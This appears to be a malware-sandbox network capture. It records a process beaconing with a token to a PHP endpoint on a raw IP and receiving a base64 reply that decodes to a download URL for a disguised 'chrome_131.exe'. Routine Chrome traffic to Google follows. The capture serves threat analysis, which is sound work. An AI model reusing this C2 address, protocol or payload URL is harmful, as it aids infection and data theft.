Nov 1, 2024 13:42:26.916002989 CET	473	OUT	POST /d8ddb681db736e16.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HIIEGHJJDGHCAKEBGIJK Host: 95.215.207.176 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 49 49 45 47 48 4a 4a 44 47 48 43 41 4b 45 42 47 49 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 62 38 30 62 33 34 33 32 32 36 30 34 35 30 32 33 39 32 39 33 33 64 39 34 32 63 35 35 66 64 63 62 38 62 36 32 39 39 36 63 66 38 31 61 62 30 65 33 64 66 31 39 36 34 37 38 32 64 61 66 65 65 65 61 34 32 65 35 37 34 63 0d 0a 2d 2d 2d 2d 2d 2d 48 49 49 45 47 48 4a 4a 44 47 48 43 41 4b 45 42 47 49 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 48 49 49 45 47 48 4a 4a 44 47 48 43 41 4b 45 42 47 49 4a 4b 2d 2d 0d 0a Data Ascii: ------HIIEGHJJDGHCAKEBGIJKContent-Disposition: form-data; name="token"fb80b34322604502392933d942c55fdcb8b62996cf81ab0e3df1964782dafeeea42e574c------HIIEGHJJDGHCAKEBGIJKContent-Disposition: form-data; name="message"ybncbhylepme------HIIEGHJJDGHCAKEBGIJK--
Nov 1, 2024 13:42:27.165273905 CET	298	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 12:42:27 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 72 Keep-Alive: timeout=5, max=85 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 61 48 52 30 63 48 4d 36 4c 79 39 77 5a 58 4a 7a 5a 58 5a 6c 63 6d 4e 73 61 57 35 70 59 79 35 6a 62 32 30 76 59 32 68 79 62 32 31 6c 58 7a 45 7a 4d 53 35 6c 65 47 56 38 4d 58 77 77 66 46 4e 30 59 58 4a 30 66 44 42 38 Data Ascii: aHR0cHM6Ly9wZXJzZXZlcmNsaW5pYy5jb20vY2hyb21lXzEzMS5leGV8MXwwfFN0YXJ0fDB8
Nov 1, 2024 13:42:31.190857887 CET	473	OUT	POST /d8ddb681db736e16.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FHIDAFHCBAKFCAAKFCFC Host: 95.215.207.176 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 48 49 44 41 46 48 43 42 41 4b 46 43 41 41 4b 46 43 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 62 38 30 62 33 34 33 32 32 36 30 34 35 30 32 33 39 32 39 33 33 64 39 34 32 63 35 35 66 64 63 62 38 62 36 32 39 39 36 63 66 38 31 61 62 30 65 33 64 66 31 39 36 34 37 38 32 64 61 66 65 65 65 61 34 32 65 35 37 34 63 0d 0a 2d 2d 2d 2d 2d 2d 46 48 49 44 41 46 48 43 42 41 4b 46 43 41 41 4b 46 43 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 46 48 49 44 41 46 48 43 42 41 4b 46 43 41 41 4b 46 43 46 43 2d 2d 0d 0a Data Ascii: ------FHIDAFHCBAKFCAAKFCFCContent-Disposition: form-data; name="token"fb80b34322604502392933d942c55fdcb8b62996cf81ab0e3df1964782dafeeea42e574c------FHIDAFHCBAKFCAAKFCFCContent-Disposition: form-data; name="message"wkkjqaiaxkhb------FHIDAFHCBAKFCAAKFCFC--
Nov 1, 2024 13:42:32.907615900 CET	202	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 12:42:31 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=84 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49736	172.217.18.100	443	6404	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-01 12:42:05 UTC	615	OUT	GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiWocsBCJz+zAEIhaDNAQjcvc0BCI/KzQEIucrNAQii0c0BCIrTzQEIntbNAQin2M0BCPnA1BUY9snNARi60s0BGOuNpRc= Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-01 12:42:05 UTC	1266	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 12:42:05 GMT Pragma: no-cache Expires: -1 Cache-Control: no-cache, must-revalidate Content-Type: text/javascript; charset=UTF-8 Strict-Transport-Security: max-age=31536000 Content-Security-Policy: object-src 'none';base-uri 'self';script-src 'nonce-Lp7mYPlA3tRCMmLOFcRUHg' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/cdt1 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/cdt1"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-01 12:42:05 UTC	112	IN	Data Raw: 33 31 36 0d 0a 29 5d 7d 27 0a 5b 22 22 2c 5b 22 63 6f 64 20 7a 6f 6d 62 69 65 73 20 62 65 73 74 20 67 75 6e 73 22 2c 22 70 69 74 74 73 62 75 72 67 68 20 73 74 65 65 6c 65 72 73 20 74 72 61 64 65 20 64 65 61 64 6c 69 6e 65 22 2c 22 68 61 77 61 69 69 20 6d 61 75 6e 61 20 6b 65 61 20 73 6e 6f 77 66 61 6c 6c 22 2c 22 68 61 70 70 79 20 64 Data Ascii: 316)]}'["",["cod zombies best guns","pittsburgh steelers trade deadline","hawaii mauna kea snowfall","happy d
2024-11-01 12:42:05 UTC	685	IN	Data Raw: 69 77 61 6c 69 20 66 65 73 74 69 76 61 6c 22 2c 22 61 6d 61 72 61 6e 20 6d 6f 76 69 65 20 72 65 76 69 65 77 22 2c 22 77 61 6c 6d 61 72 74 20 62 6c 61 63 6b 20 66 72 69 64 61 79 20 73 61 6c 65 73 22 2c 22 63 68 61 74 67 70 74 20 73 65 61 72 63 68 20 65 6e 67 69 6e 65 22 2c 22 73 61 6e 20 61 6e 74 6f 6e 69 6f 20 73 70 75 72 73 20 76 73 20 75 74 61 68 20 6a 61 7a 7a 20 62 6f 78 20 73 63 6f 72 65 22 5d 2c 5b 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 5d 2c 5b 5d 2c 7b 22 67 6f 6f 67 6c 65 3a 63 6c 69 65 6e 74 64 61 74 61 22 3a 7b 22 62 70 63 22 3a 66 61 6c 73 65 2c 22 74 6c 77 22 3a 66 61 6c 73 65 7d 2c 22 67 6f 6f 67 6c 65 3a 67 72 6f 75 70 73 69 6e 66 6f 22 3a 22 43 68 67 49 6b 6b 34 53 45 77 6f 52 56 48 4a 6c 62 6d 52 70 62 6d 63 Data Ascii: iwali festival","amaran movie review","walmart black friday sales","chatgpt search engine","san antonio spurs vs utah jazz box score"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbmc
2024-11-01 12:42:05 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49737	172.217.18.100	443	6404	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-01 12:42:05 UTC	518	OUT	GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiWocsBCJz+zAEIhaDNAQjcvc0BCI/KzQEIucrNAQii0c0BCIrTzQEIntbNAQin2M0BCPnA1BUY9snNARi60s0BGOuNpRc= Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-01 12:42:06 UTC	1042	IN	HTTP/1.1 200 OK Version: 691307345 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Fri, 01 Nov 2024 12:42:05 GMT Server: gws Cache-Control: private X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-01 12:42:06 UTC	336	IN	Data Raw: 31 66 61 37 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 6c 61 6e 67 75 61 67 65 5f 63 6f 64 65 22 3a 22 65 6e 2d 55 53 22 2c 22 6f 67 62 22 3a 7b 22 68 74 6d 6c 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 68 74 6d 6c 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 5c 75 30 30 33 63 68 65 61 64 65 72 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 45 61 20 67 62 5f 31 64 20 67 62 5f 50 65 20 67 62 5f 70 64 5c 22 20 69 64 5c 75 30 30 33 64 5c 22 67 62 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 61 6e 6e 65 72 5c 22 20 73 74 79 6c 65 5c 75 30 30 33 64 5c 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 5c 22 5c 75 30 30 33 65 Data Ascii: 1fa7)]}'{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_1d gb_Pe gb_pd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e
2024-11-01 12:42:06 UTC	1378	IN	Data Raw: 20 67 62 5f 6e 64 20 67 62 5f 45 64 20 67 62 5f 6b 64 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 76 64 20 67 62 5f 71 64 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 4a 63 20 67 62 5f 51 5c 22 20 61 72 69 61 2d 65 78 70 61 6e 64 65 64 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 61 72 69 61 2d 6c 61 62 65 6c 5c 75 30 30 33 64 5c 22 4d 61 69 6e 20 6d 65 6e 75 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 75 74 74 6f 6e 5c 22 20 74 61 62 69 6e 64 65 78 5c 75 30 30 33 64 5c 22 30 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 76 67 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 76 69 65 77 62 6f 78 5c 75 30 30 Data Ascii: gb_nd gb_Ed gb_kd\"\u003e\u003cdiv class\u003d\"gb_vd gb_qd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u00
2024-11-01 12:42:06 UTC	1378	IN	Data Raw: 30 33 63 5c 2f 61 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 76 64 20 67 62 5f 38 63 20 67 62 5f 39 63 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 70 61 6e 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 74 64 5c 22 20 61 72 69 61 2d 6c 65 76 65 6c 5c 75 30 30 33 64 5c 22 31 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 68 65 61 64 69 6e 67 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 73 70 61 6e 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 76 Data Ascii: 03c\/a\u003e\u003c\/div\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_vd gb_8c gb_9c\"\u003e\u003cspan class\u003d\"gb_td\" aria-level\u003d\"1\" role\u003d\"heading\"\u003e \u003c\/span\u003e\u003c\/div\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_v
2024-11-01 12:42:06 UTC	1378	IN	Data Raw: 76 67 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 44 5c 22 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 68 65 69 67 68 74 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 20 76 69 65 77 42 6f 78 5c 75 30 30 33 64 5c 22 30 20 2d 39 36 30 20 39 36 30 20 39 36 30 5c 22 20 77 69 64 74 68 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 70 61 74 68 20 64 5c 75 30 30 33 64 5c 22 4d 32 30 39 2d 31 32 30 71 2d 34 32 20 30 2d 37 30 2e 35 2d 32 38 2e 35 54 31 31 30 2d 32 31 37 71 30 2d 31 34 20 33 2d 32 35 2e 35 74 39 2d 32 31 2e 35 6c 32 32 38 2d 33 34 31 71 31 30 2d 31 34 20 31 35 2d 33 31 74 35 2d 33 34 76 2d 31 31 30 68 2d 32 30 71 2d 31 33 20 30 2d 32 31 2e 35 2d 38 2e 35 54 33 32 30 2d 38 31 30 Data Ascii: vg class\u003d\"gb_D\" focusable\u003d\"false\" height\u003d\"24px\" viewBox\u003d\"0 -960 960 960\" width\u003d\"24px\"\u003e \u003cpath d\u003d\"M209-120q-42 0-70.5-28.5T110-217q0-14 3-25.5t9-21.5l228-341q10-14 15-31t5-34v-110h-20q-13 0-21.5-8.5T320-810
2024-11-01 12:42:06 UTC	1378	IN	Data Raw: 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 32 2c 31 34 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 36 2c 36 63 30 2c 31 2e 31 20 30 2e 39 2c 32 20 32 2c 32 73 32 2c 2d 30 2e 39 20 32 2c 2d 32 20 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 7a 4d 31 32 2c 38 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 2c 31 34 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 Data Ascii: 0.9,2 2,2zM12,14c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM16,6c0,1.1 0.9,2 2,2s2,-0.9 2,-2 -0.9,-2 -2,-2 -2,0.9 -2,2zM12,8c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18,14c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18
2024-11-01 12:42:06 UTC	1378	IN	Data Raw: 32 22 5d 2c 22 6d 65 6e 75 5f 70 6c 61 63 65 68 6f 6c 64 65 72 5f 6c 61 62 65 6c 22 3a 22 6d 65 6e 75 2d 63 6f 6e 74 65 6e 74 22 2c 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 62 61 72 5f 68 65 69 67 68 74 22 3a 36 30 2c 22 65 78 70 65 72 69 6d 65 6e 74 5f 69 64 22 3a 5b 33 37 30 30 33 31 34 2c 33 37 30 31 33 38 34 5d 2c 22 69 73 5f 62 61 63 6b 75 70 5f 62 61 72 22 3a 66 61 6c 73 65 7d 2c 22 70 61 67 65 5f 68 6f 6f 6b 73 22 3a 7b 22 61 66 74 65 72 5f 62 61 72 5f 73 63 72 69 70 74 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 73 63 72 69 70 74 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 74 68 69 73 2e 67 62 61 72 5f 5c 75 30 30 33 64 74 68 69 73 2e 67 62 61 72 5f 7c 7c 7b 7d 3b 28 66 Data Ascii: 2"],"menu_placeholder_label":"menu-content","metadata":{"bar_height":60,"experiment_id":[3700314,3701384],"is_backup_bar":false},"page_hooks":{"after_bar_script":{"private_do_not_access_or_else_safe_script_wrapped_value":"this.gbar_\u003dthis.gbar_\|\|{};(f
2024-11-01 12:42:06 UTC	885	IN	Data Raw: 69 73 2e 74 72 75 73 74 65 64 54 79 70 65 73 3b 5f 2e 59 64 5c 75 30 30 33 64 63 6c 61 73 73 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 61 29 7b 74 68 69 73 2e 69 5c 75 30 30 33 64 61 7d 74 6f 53 74 72 69 6e 67 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 69 7d 7d 3b 5f 2e 5a 64 5c 75 30 30 33 64 6e 65 77 20 5f 2e 59 64 28 5c 22 61 62 6f 75 74 3a 69 6e 76 61 6c 69 64 23 7a 43 6c 6f 73 75 72 65 7a 5c 22 29 3b 5f 2e 56 64 5c 75 30 30 33 64 63 6c 61 73 73 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 61 29 7b 74 68 69 73 2e 68 68 5c 75 30 30 33 64 61 7d 7d 3b 5f 2e 24 64 5c 75 30 30 33 64 5b 57 64 28 5c 22 64 61 74 61 5c 22 29 2c 57 64 28 5c 22 68 74 74 70 5c 22 29 2c 57 64 28 5c 22 68 74 74 70 73 5c 22 29 2c 57 64 28 5c 22 6d 61 69 6c 74 6f 5c 22 29 2c 57 64 28 5c 22 Data Ascii: is.trustedTypes;_.Yd\u003dclass{constructor(a){this.i\u003da}toString(){return this.i}};_.Zd\u003dnew _.Yd(\"about:invalid#zClosurez\");_.Vd\u003dclass{constructor(a){this.hh\u003da}};_.$d\u003d[Wd(\"data\"),Wd(\"http\"),Wd(\"https\"),Wd(\"mailto\"),Wd(\"
2024-11-01 12:42:06 UTC	489	IN	Data Raw: 31 65 32 0d 0a 68 74 6d 6c 5c 22 2c 7b 63 72 65 61 74 65 48 54 4d 4c 3a 62 2c 63 72 65 61 74 65 53 63 72 69 70 74 3a 62 2c 63 72 65 61 74 65 53 63 72 69 70 74 55 52 4c 3a 62 7d 29 7d 63 61 74 63 68 28 62 29 7b 7d 72 65 74 75 72 6e 20 61 7d 3b 5f 2e 68 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 29 7b 67 65 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 75 30 30 33 64 76 6f 69 64 20 30 5c 75 30 30 32 36 5c 75 30 30 32 36 28 67 65 5c 75 30 30 33 64 66 65 28 29 29 3b 72 65 74 75 72 6e 20 67 65 7d 3b 5c 6e 5f 2e 6a 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 63 6f 6e 73 74 20 62 5c 75 30 30 33 64 5f 2e 68 65 28 29 3b 72 65 74 75 72 6e 20 6e 65 77 20 5f 2e 69 65 28 62 3f 62 2e 63 72 65 61 74 65 53 63 72 69 70 74 55 52 4c 28 61 29 3a 61 29 7d 3b 5f 2e Data Ascii: 1e2html\",{createHTML:b,createScript:b,createScriptURL:b})}catch(b){}return a};_.he\u003dfunction(){ge\u003d\u003d\u003dvoid 0\u0026\u0026(ge\u003dfe());return ge};\n_.je\u003dfunction(a){const b\u003d_.he();return new _.ie(b?b.createScriptURL(a):a)};_.
2024-11-01 12:42:06 UTC	1378	IN	Data Raw: 38 30 30 30 0d 0a 6d 65 28 61 29 3b 72 65 74 75 72 6e 20 61 7d 3b 5f 2e 6f 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 5c 75 30 30 33 64 64 6f 63 75 6d 65 6e 74 29 7b 6c 65 74 20 63 2c 64 3b 62 5c 75 30 30 33 64 28 64 5c 75 30 30 33 64 28 63 5c 75 30 30 33 64 5c 22 64 6f 63 75 6d 65 6e 74 5c 22 69 6e 20 62 3f 62 2e 64 6f 63 75 6d 65 6e 74 3a 62 29 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 29 5c 75 30 30 33 64 5c 75 30 30 33 64 6e 75 6c 6c 3f 76 6f 69 64 20 30 3a 64 2e 63 61 6c 6c 28 63 2c 60 24 7b 61 7d 5b 6e 6f 6e 63 65 5d 60 29 3b 72 65 74 75 72 6e 20 62 5c 75 30 30 33 64 5c 75 30 30 33 64 6e 75 6c 6c 3f 5c 22 5c 22 3a 62 2e 6e 6f 6e 63 65 7c 7c 62 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 5c 22 6e 6f 6e 63 65 5c 22 29 7c 7c 5c 22 5c 22 7d Data Ascii: 8000me(a);return a};_.oe\u003dfunction(a,b\u003ddocument){let c,d;b\u003d(d\u003d(c\u003d\"document\"in b?b.document:b).querySelector)\u003d\u003dnull?void 0:d.call(c,`${a}[nonce]`);return b\u003d\u003dnull?\"\":b.nonce\|\|b.getAttribute(\"nonce\")\|\|\"\"}
2024-11-01 12:42:06 UTC	1378	IN	Data Raw: 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 5f 2e 47 62 28 62 2c 66 75 6e 63 74 69 6f 6e 28 63 2c 64 29 7b 64 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 73 74 79 6c 65 5c 22 3f 61 2e 73 74 79 6c 65 2e 63 73 73 54 65 78 74 5c 75 30 30 33 64 63 3a 64 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 63 6c 61 73 73 5c 22 3f 61 2e 63 6c 61 73 73 4e 61 6d 65 5c 75 30 30 33 64 63 3a 64 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 66 6f 72 5c 22 3f 61 2e 68 74 6d 6c 46 6f 72 5c 75 30 30 33 64 63 3a 7a 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 28 64 29 3f 61 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 7a 65 5b 64 5d 2c 63 29 3a 5f 2e 75 65 28 64 2c 5c 22 61 72 69 61 2d 5c 22 29 7c 7c 5f 2e 75 65 28 64 2c 5c 22 64 61 74 61 2d 5c 22 29 3f 61 2e 73 65 74 41 74 74 72 69 62 75 74 65 Data Ascii: nction(a,b){_.Gb(b,function(c,d){d\u003d\u003d\"style\"?a.style.cssText\u003dc:d\u003d\u003d\"class\"?a.className\u003dc:d\u003d\u003d\"for\"?a.htmlFor\u003dc:ze.hasOwnProperty(d)?a.setAttribute(ze[d],c):_.ue(d,\"aria-\")\|\|_.ue(d,\"data-\")?a.setAttribute

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49738	172.217.18.100	443	6404	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-01 12:42:05 UTC	353	OUT	GET /async/newtab_promos HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-01 12:42:06 UTC	957	IN	HTTP/1.1 200 OK Version: 691307345 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Fri, 01 Nov 2024 12:42:05 GMT Server: gws Cache-Control: private X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-01 12:42:06 UTC	35	IN	Data Raw: 31 64 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 70 72 6f 6d 6f 73 22 3a 7b 7d 7d 7d 0d 0a Data Ascii: 1d)]}'{"update":{"promos":{}}}
2024-11-01 12:42:06 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49747	142.250.186.46	443	6404	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
